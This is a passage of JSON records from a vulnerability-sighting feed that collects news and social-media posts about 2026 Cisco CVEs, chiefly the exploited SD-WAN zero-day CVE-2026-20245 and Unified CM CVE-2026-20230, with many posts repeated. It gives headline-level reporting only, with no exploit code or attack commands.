Request Forgery (SSRF) VulnerabilityCisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) contain a server-side request forgery (SSRF) Vulnerability that could allow an unauthenticated, remote attacker to write files to the underlying operating system that could be used later to elevate to root.\ncisakev", "creation_timestamp": "2026-06-25T20:02:48.477560Z"}, {"uuid": "94f4c618-c7bd-400a-a9ad-4e2bf9650eee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f430cd26-dc94-44e8-976f-f29edc2ea1f1", "content": "", "creation_timestamp": "2026-06-25T20:27:00.766179Z"}, {"uuid": "3e860450-0567-484d-9704-6e19250d57f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mp5g37q2xe2e", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u60272\u4ef6\u3092\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds Two Known Exploited Vulnerabilities to Catalog  #CISA (Jun 25)\n\nCVE-2026-12569 PTC Windchill\u304a\u3088\u3073FlexPLM\u306b\u304a\u3051\u308b\u4e0d\u9069\u5207\u306a\u5165\u529b\u691c\u8a3c\u306e\u8106\u5f31\u6027\nCVE-2026-20230 Cisco Unified Communications Manager\u306e\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08SSRF\uff09\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-06-25T21:52:34.194028Z"}, {"uuid": "a9856cf3-dd6c-4626-97e1-aaec95624b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mp5ok3dwi22a", "content": "Mandiant reveals how Cisco SD-WAN zero-day attacks gained root access\n\nNew details have been revealed on how hackers exploited a Cisco Catalyst SD-WAN vulnerability tracked as CVE-2026-20245 in zero-day attacks to create rogue root accounts on targeted devices. [...]\n#hackernews #news", "creation_timestamp": "2026-06-26T00:24:02.897550Z"}, {"uuid": "02481193-ae32-4e05-aa30-1dcfba89f161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mp5poxir3k2a", "content": "The hits keep on coming for Cisco vulnerabilities\n\nCVE-2026-20230 under exploitation, while an earlier SD-WAN 0-day looks even worse than we thought\n#hackernews #news", "creation_timestamp": "2026-06-26T00:44:39.990988Z"}, {"uuid": "40bd182e-64f5-42be-8f50-4f557ad8e84c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-zero-day-cve-2026.html", "content": "An unknown threat actor exploited a recently disclosed high-severity security flaw impacting Cisco Catalyst SD-WAN as a zero-day at least two months before it was publicly disclosed, according to new findings from Google-owned Mandiant.\n\nThe vulnerability, tracked as CVE-2026-20245 (CVSS score: 7.8), allows an authenticated, local attacker to execute arbitrary commands with elevated privileges", "creation_timestamp": "2026-06-26T01:00:41.444126Z"}, {"uuid": "a8c1c23b-de36-479b-88fa-dd87a67cdaca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://threatintel.cc/2026/06/25/zeroday-exploitation-of-vulnerability-cve.html", "content": "Source URL: cloud.google.com/blog/topi…\u2028Mandiant reported that a threat actor targeting SD-WAN infrastructure at a service provider used a compromised administrative account and then exploited CVE-2026-20245, a zero-day vulnerability in Cisco Catalyst SD-WAN Manager, to escalate privileges to root. The vulnerability stems from insufficient filtering of malicious data in the device\u2019s file-upload functionality, and the actor reportedly used anti-forensic techniques such as selectively deleting and restoring modified configuration files to reduce detection. The issue is particularly relevant for organizations that rely on SD-WAN control planes because compromise of management infrastructure can have broad downstream impact across connectivity, routing, segmentation and service-provider trust boundaries.", "creation_timestamp": "2026-06-26T01:00:41.961166Z"}, {"uuid": "703790e9-92c5-431f-ae0e-8758a50193b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20245", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mp5vfjyptkzg", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited Months Before Disclosure https://securityaffairs.com/194200/hacking/cisco-catalyst-sd-wan-zero-day-cve-2026-20245-exploited-months-before-disclosure.html", "creation_timestamp": "2026-06-26T02:26:46.416733Z"}, {"uuid": "e649db97-e772-48d6-aadd-5bbde30d2fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mp5vmtrhn32i", "content": "Top 3 CVE for last 7 days:\nCVE-2026-55200: 44 interactions\nCVE-2026-47729: 43 interactions\nCVE-2026-8461: 34 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-8461: 26 interactions\nCVE-2026-47729: 25 interactions\nCVE-2026-20245: 6 interactions\n", "creation_timestamp": "2026-06-26T02:30:50.769516Z"}, {"uuid": "ab6c8aa7-cc80-4c81-8d0a-cc18d9083531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mp5w32fbvk2a", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access\n\nAn unknown threat actor exploited a recently disclosed high-severity security flaw impacting Cisco Catalyst SD-WAN as a zero-day at least two months before it was publicly disclosed, according to new find\u2026\n#hackernews #news", "creation_timestamp": "2026-06-26T02:38:47.768764Z"}, {"uuid": "c4316fd5-09a2-4488-8d67-7d1895e0b5c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/newsarea.bsky.social/post/3mp5x5xlomh2n", "content": "Cisco SD-WAN Zero-Day Exploit: Mandiant Reveals Malicious CSV Opened Root\u00a0Shell\n\nCisco SD-WAN zero-day CVE-2026-20245 was exploited months before disclosure: Mandiant reveals how a malicious CSV file injected a rogue root account into Linux passwd files, giving attackers full control over an\u2026", "creation_timestamp": "2026-06-26T02:58:19.553916Z"}, {"uuid": "62813ac8-aa84-459e-b470-7221608a9c68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20896", "type": "seen", "source": "https://bsky.app/profile/thecybersecguru.com/post/3mp65jcs6sh27", "content": "Three Vulnerabilities, One Platform: Why Your Self-Hosted Gitea/Gogs Instance Is Probably Already\u00a0Owned\n\nThree critical Gitea and Gogs CVEs disclosed in 2026: a CVSS 9.8 auth bypass via X-WEBAUTH-USER header,\u2026\n\nhttps://thecybersecguru.com/news/cve-2026-20896-gitea-authentication-bypass-dom-xss-ssrf/", "creation_timestamp": "2026-06-26T04:52:06.315766Z"}, {"uuid": "7e0a00a6-a07a-48b7-b39d-6c02e13f0f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mp65lqddzs2a", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited Months Before Disclosure\n\nHackers exploited Cisco Catalyst SD-WAN flaw CVE-2026-20245 as a zero-day months before disclosure, enabling privileged command execution. Google-owned Mandiant reported that an unknown threat actor \u2026\n#hackernews #news", "creation_timestamp": "2026-06-26T04:53:24.199198Z"}, {"uuid": "7a816cd7-064a-4617-be0b-e5fe3cd7bb04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mp664dz4pz2v", "content": "Daily IT Security Digest \u2014 2026-06-26\nCVE-2026-20262. Attackers with write access can escalate to root via crafted HTTP requests. Multiple vendors (Google, Microsoft) have issued advisories, and patches should be applied immediately. [Source: Mandiant/Google Threat Intelligence,", "creation_timestamp": "2026-06-26T05:02:40.756585Z"}, {"uuid": "a2e21164-13b7-4d33-9f7f-421d5348d5da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mp6eeemh7o2k", "content": "Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager", "creation_timestamp": "2026-06-26T06:54:32.504107Z"}, {"uuid": "c961debf-a1a7-4052-b8ed-1f5521ce238c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mp6h4ph5wc2f", "content": "Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager | Google Cloud Blog cloud.google.com/blog/topics/...", "creation_timestamp": "2026-06-26T07:43:59.220386Z"}, {"uuid": "e156d2ab-d3a5-404a-83dd-6af4288a549e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3mp6mezruko2p", "content": "Splunk Enterprise: Pre-Authentication RCE via PostgreSQL Sidecar CVE-2026-20253\n\n##Splunk ##RCE ##CVE202620253 ##ZeroDay ##CloudSecurity\n\nhttps://flagthis.com/newsletter/2026/06/26/tldr/3800", "creation_timestamp": "2026-06-26T09:18:04.387338Z"}, {"uuid": "7bc25652-3802-4a48-b63b-c1555528b81b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2053", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp6ndvhhm62n", "content": "CVE-2026-2053 - Unauthenticated Server-Side Request Forgery via WS-Addressing in WSO2 API Manager\nCVE ID : CVE-2026-2053\n \n Published : June 26, 2026, 7:26 a.m. | 1\u00a0hour, 45\u00a0minutes ago\n \n Description : The WSO2 API Manager's message flow component, when processing WS-Addressi...", "creation_timestamp": "2026-06-26T09:35:20.389385Z"}, {"uuid": "2f63ce20-15ef-4341-bcc5-5570b0095f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://t.me/bdufstecru/3382", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Remote Access SSL VPN \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Cisco Adaptive Security Appliance (ASA) \u0438 Cisco Secure Firewall Threat Defense (FTD) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0447\u0438\u0441\u0442\u043a\u043e\u0439 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-11520\nCVE-2026-20349\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-dzv4mQFF", "creation_timestamp": "2026-08-15T00:00:47.562705Z"}, {"uuid": "5857cd07-0f83-4f7f-9f57-40a5891e8b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/EqoYaV6nsS8NdFMiUlh20F2PL0M0xTB12P2J_sYTarvuZL8", "content": "", "creation_timestamp": "2026-08-17T18:00:06.053636Z"}, {"uuid": "14f3e0e2-5231-4042-b873-690a5cf28e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/qtlWc_b7dirbvxiOK4Nhc4t041ZYL6xsiFpFlakikDua2bE", "content": "", "creation_timestamp": "2026-08-17T18:00:06.150408Z"}, {"uuid": "2258658b-bd0c-402b-98ee-f9a0e356b4ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mp6ouvfhn22j", "content": "Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild\n\nsecurityaffairs.com/194153/uncat...\n\n#Cybersecurity #LargeScaleImpact #Vulnerability", "creation_timestamp": "2026-06-26T10:02:45.246510Z"}, {"uuid": "32c126cf-bad1-4b13-bca5-cc08b5629bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mp6p5uetuc2m", "content": "CVE-2026-20245 Zero-Day Exploited in Cisco Catalyst SD-WAN Manager to Gain Root Access", "creation_timestamp": "2026-06-26T10:07:45.244535Z"}, {"uuid": "6b34abaf-ca52-45e6-be53-4dc408028607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3msx54hrt4c2i", "content": "Cisco\u304c\u540c\u793e\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u3092DoS\u653b\u6483\u3059\u308b\u8106\u5f31\u6027\u3092\u4fee\u6b63(CVE-2026-20349)\n\n\u6df1\u523b\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027CVE-2026-20349\u304c\u3001\u653b\u6483\u8005\u306b\u3088\u3063\u3066Cisco\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u306e\u52d5\u4f5c\u3092\u4e00\u6642\u7684\u306b\u505c\u6b62\u3055\u305b\u308b\u76ee\u7684\u3067\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u3001\u540c\u793e\u304c\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002 \u3053\u306e\u8106\u5f31\u6027\u306fCISA\u306e\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3055\u308c\u3066\u304a\u308a\u3001\u7c73\u9023\u90a6\u6c11\u9593\u6a5f\u95a2\u306f2026\u5e748\u670814\u65e5\u307e\u3067\u306b\u5bfe\u5fdc\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002...", "creation_timestamp": "2026-08-13T07:36:59.843946Z"}, {"uuid": "d96967b4-f702-416b-8dc2-cf2ee22e58f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20245", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mp6qgclhif2h", "content": "\ud83d\udce2 Exploitation zero-day CVE-2026-20245 dans Cisco Catalyst SD-WAN par un acteur inconnu\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nPubli\u00e9 le 24 juin 2026 par Mandiant (G\u2026\nhttps://cyberveille.ch/posts/2026-06-26-exploitation-zero-day-cve-2026-20245-dans-cisco-catalyst-sd-wan-par-un-acteur-inconnu/ #CVE_2026_20127 #Cyberveille", "creation_timestamp": "2026-06-26T10:30:22.331258Z"}, {"uuid": "229c5668-5236-4918-917c-bd8b9259eb0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mp6sb6c3fc2z", "content": "Friday\u2019s fuck up - this time - Cisco - \u200aCVE-2026-20245 Zero-Day Exploited in Cisco Catalyst SD-WAN Manager to Gain Root Access\n\nthecyberexpress.com/cve-2026-202... #cisco #0day #sd-wan #root #exploit #cybersecurity #vulnerable", "creation_timestamp": "2026-06-26T11:03:21.758289Z"}, {"uuid": "fd4fb457-1898-4470-9e1d-420c4fcc67a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mp6z2z5xbc2o", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access\n\nthehackernews.com/2026/06/cisc...\n\n#Kyberturvallisuus #Haavoittuvuus #AktiivinenHyv\u00e4ksik\u00e4ytt\u00f6", "creation_timestamp": "2026-06-26T13:05:08.477596Z"}, {"uuid": "2b255871-c139-4e47-a1d6-c3c690c913bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://www.cert.se/2026/06/cert-se-veckobrev-v26.html", "content": "", "creation_timestamp": "2026-06-26T13:15:09.975166Z"}, {"uuid": "093d2242-6a13-4561-bb65-4cff41e4b7c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3msx5d2dv7s2i", "content": "Cisco fixes vulnerability exploited to DoS its firewalls (CVE-2026-20349)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/08/13/c...\n\n#exploit #firewall #secureaccess #vulnerability #cybersecurity #cybersecuritynews @cisco.com", "creation_timestamp": "2026-08-13T07:40:44.634549Z"}, {"uuid": "b0c6ffcb-b6be-425b-850e-9b3c0524424a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/vitobotta.com/post/3mp75agvhbk26", "content": "Cisco SD-WAN zero-day CVE-2026-20245 exploited for two months before disclosure. Mandiant found the traces. Attacker had netadmin access, escalated to root, cleaned up config files. Inside for months.\n\nthehackernews.com/2026/06/cisc...", "creation_timestamp": "2026-06-26T14:19:45.874884Z"}, {"uuid": "7e678209-d1de-42bb-92f9-946f41e6c90b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3mp75nbaojv2s", "content": "Cisco Catalyst SD-WAN: Critical Privilege Escalation via CVE-2026-20245\n\n##Cisco ##ZeroDay ##SDWAN ##PrivilegeEscalation ##TelecomSecurity\n\nhttps://flagthis.com/newsletter/2026/06/26/tldr/3850", "creation_timestamp": "2026-06-26T14:26:54.485483Z"}, {"uuid": "4ef2f2ff-bb40-4548-85a6-a219ccf10624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116816986268752727", "content": "\ud83d\udcf0 CISA Adds Actively Exploited PTC and Cisco Flaws to KEV Catalog, Mandates Federal Patching\n\ud83d\udce2 CISA adds two actively exploited vulnerabilities to its KEV catalog: CVE-2026-12569 in PTC products and CVE-2026-20230 in Cisco UCM. Federal agencies are mandated to patch. All orgs should prioritize these now! \u26a0\ufe0f #CyberSecurity #Vulnerability #CI...\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisa-adds-actively-exploited-ptc-and-cisco-flaws-to-kev-cata\u2026", "creation_timestamp": "2026-06-26T14:55:55.893235Z"}, {"uuid": "9afc874b-f5ac-4615-8744-4b554b7fe532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mp77bxemxo2f", "content": "\ud83d\udce2 CISA adds two actively exploited vulnerabilities to its KEV catalog: CVE-2026-12569 in PTC products and CVE-2026-20230 in Cisco UCM. Federal agencies are mandated to patch. All orgs should prioritize these now! \u26a0\ufe0f #CyberSecurity #Vulnerability #CI...\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-26T14:56:22.762722Z"}, {"uuid": "305dde92-148e-4a6d-b58e-59f0cd11a9f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7ambuqzs27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:06.346650Z"}, {"uuid": "e3a05733-b9d3-45c9-a24e-20ef9215713c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxiec27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:12.305672Z"}, {"uuid": "5db0f6b9-84ec-488a-a54b-4af5cedb6c3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxjdk27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:13.125573Z"}, {"uuid": "567a04cb-6a0d-4f81-9015-8cfd2cbea63c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxkcs27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:13.989748Z"}, {"uuid": "c8787490-7b2f-4b5a-b18b-47d1898ae0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxlc227", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:14.851470Z"}, {"uuid": "5a088181-483f-425d-8c9c-a563d831efcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxmbc27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:15.700229Z"}, {"uuid": "833a12b1-ee02-46fb-a6d0-34ae2f7009a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxnak27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:16.545887Z"}, {"uuid": "352846f4-4e3c-4d91-905b-7467474cf4ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxnal27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:17.391995Z"}, 